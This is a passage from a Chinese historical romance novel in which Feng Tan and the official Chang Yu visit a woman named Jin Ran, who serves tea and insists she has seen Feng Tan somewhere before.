翠翠漾了喜悦的笑，高呼道：“谢谢常大人！谢谢美人姐姐！”
此话一出，逢潭心中忽升一丝动容。
饶是世人谈起奸佞妄臣，眼前之人必当充有一席之地，不曾想，竟还有如此善面？
逢潭有些意外。
然常聿此刻亦是如此。
当看到逢潭拧眉的那一瞬间，常聿心里也曾随之翻涌一阵涩寒。
还好。
常聿不觉绵绵暗喜，心情顿畅。
“哟，这是打哪来的豺狼虎豹？”女子倚在门边，樱草色连裙豁开阴笼，亦如她活朗的嗓音般让人眼前明亮。
逢潭看一眼常聿，而后迟疑地叫了一声：“锦染？”
锦染应声朝常聿抬了抬下巴：“带家属啊？”
逢潭心不在此，不以为意道：“受人之托，来见你一面。”
锦染抿了抿唇，随后侧身：“进来吧。”
不过未时，头顶的云层就已见压了下来，如同傍晚黄昏。
逢潭和常聿同坐在廊下的竹椅，一睹院中极富盎然生命的翠绿交影。
“我瞧着你有点眼熟。”锦染滚了壶热茶，落到桌上，而后凑坐到她身边：“总觉得在哪儿见过你。”
逢潭一怔。
锦染见过她？
怎么可能？
她自身穿来到这个世界，哪怕是前些年四处坐诊，也不过就是活动在那一隅之地，走不出太远。后来回京，也是被逢家人直接送进了宫，从未在外抛头露面过。她从何处见过自己？
难道是上次与常聿去刑部的时候？可那次自己分明是做了侍卫打扮，连妆面也做了男人相，按道理说，不应该。
锦染越贴越近，几乎恨不得扳过她的人，凑到她的脸上。
逢潭被她挤身，迫不得已地往常聿那边一靠再靠。偏生常聿那厮跟块沉铁般，坐在那里一动不动地喝着茶，好似感觉不到已然压在自己半张臂膀的逢潭。
逢潭伸手挡制住她愈加靠近的身形，道：“.....兴许是记混了。”
锦染欲言又止地“嘶”了一声，手指摩挲下巴：“奇怪。”